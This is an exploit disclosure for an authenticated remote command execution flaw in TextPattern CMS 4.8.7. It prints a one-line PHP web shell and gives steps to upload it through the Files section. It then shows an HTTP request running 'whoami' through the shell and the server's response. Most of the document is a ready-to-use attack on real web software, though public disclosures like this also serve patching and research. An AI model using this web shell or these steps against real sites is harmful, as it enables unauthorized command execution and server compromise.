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TextPattern CMS 4.8.7 Shell Upload

TextPattern CMS 4.8.7 Shell Upload
Posted Oct 14, 2021
Authored by Mert Das

TextPattern CMS version 4.8.7 suffers from an authenticated remote shell upload vulnerability.

tags | exploit, remote, shell
SHA-256 | e4f760b4dcb97961d49379334bb43bec3ff76fcb8f034f03665d3aca59b918b7

TextPattern CMS 4.8.7 Shell Upload

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# Exploit Title: TextPattern CMS 4.8.7 - Remote Command Execution (RCE) (Authenticated)
# Date: 2021/09/06
# Exploit Author: Mert Daş merterpreter@gmail.com
# Software Link: https://textpattern.com/file_download/113/textpattern-4.8.7.zip
# Software web: https://textpattern.com/
# Tested on: Server: Xampp

First of all we should use file upload section to upload our shell.
Our shell contains this malicious code: <?PHP system($_GET['cmd']);?>

1) Go to content section .
2) Click Files and upload malicious php file.
3) go to yourserver/textpattern/files/yourphp.php?cmd=yourcode;

After upload our file , our request and response is like below :

Request:

GET /textpattern/files/cmd.php?cmd=whoami HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0)
Gecko/20100101 Firefox/89.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: txp_login_public=18e9bf4a21admin; language=en-gb; currency=GBP;
PHPSESSID=cctbu6sj8571j2t6vp7g8ab7gi
Upgrade-Insecure-Requests: 1


Response:

HTTP/1.1 200 OK
Date: Thu, 10 Jun 2021 00:32:41 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.4.20
X-Powered-By: PHP/7.4.20
Content-Length: 22
Connection: close
Content-Type: text/html; charset=UTF-8

pc\mertdas

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